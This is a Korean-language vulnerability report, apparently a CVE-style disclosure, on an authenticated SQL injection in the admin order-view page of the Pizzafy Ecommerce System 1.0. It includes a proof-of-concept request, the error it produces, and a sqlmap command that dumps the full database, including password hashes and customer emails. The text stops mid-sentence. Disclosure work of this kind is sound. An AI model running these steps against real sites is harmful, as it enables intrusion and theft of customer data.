
admin/view_order.php| 필드 | 값 |
|---|---|
| 공급업체 | SourceCodester |
| 제품 | Pizzafy Ecommerce System using PHP and MySQL |
| 버전 | 1.0 |
| 취약점 | SQL 인젝션 |
| CWE | CWE-89 |
| CVSSv3 점수 | 7.2 (높음) |
| 공격 벡터 | 네트워크 |
| 인증 필요 | 예 (관리자) |
| 연구자 | Xmyronn |
| 날짜 | 2026-04-11 |
https://www.sourcecodester.com/php/18708/pizzafy-ecommerce-system.html
파일: Pizzafy/admin/view_order.php
매개변수: id (GET)
Pizzafy Ecommerce System 1.0의 admin/view_order.php 엔드포인트는 id GET 매개변수를 MySQL 쿼리에 전달하기 전에 제대로 검증하지 못합니다. 인증된 관리자는 이 매개변수를 조작하여 임의의 SQL을 주입할 수 있으며, 이를 통해 전체 데이터베이스가 손상될 수 있습니다.
다음으로 이동합니다:
http://localhost/pizzafy/Pizzafy/admin/index.php
관리자 자격 증명으로 로그인합니다.
http://localhost/pizzafy/Pizzafy/admin/index.php?page=orders
아무 주문 항목에서 **주문 보기(View Order)**를 클릭합니다.

가로챈 GET 요청은 다음과 같습니다:

id=1을 id='로 변경합니다:

GET /pizzafy/Pizzafy/admin/view_order.php?id=' HTTP/1.1
응답 — MySQL 오류 노출:
Fatal error: Uncaught mysqli_sql_exception: You have an error in your SQL syntax;
check the manual that corresponds to your MariaDB server version for the right
syntax to use near ''' at line 1 in
C:\xampp\htdocs\pizzafy\Pizzafy\admin\view_order.php:15
요청을 view_order.txt로 저장하고 다음을 실행합니다:
sqlmap -r view_order.txt --dump --batch
sqlmap이 확인한 인젝션 유형:
| 유형 | 설명 |
|---|---|
| Boolean 기반 블라인드 | AND boolean-based blind — WHERE clause |
| 오류 기반 | MySQL >= 5.0 FLOOR error-based |
| 시간 기반 블라인드 | MySQL >= 5.0.12 SLEEP |
| UNION 쿼리 | Generic UNION query — 11 columns |
전체 데이터베이스 덤프:
Database: pizzafy
Tables: users, user_info, orders, order_list, product_list, category_list, system_settings
노출된 민감 데이터에는 bcrypt 비밀번호 해시, 고객 이메일, 주문 세부 정보, 시스템 구성이 포함됩니다.
악의적인 인증 관리자(또는 관리자 자격 증명을 획득한 공격자)는 다음을 수행할 수 있습니다: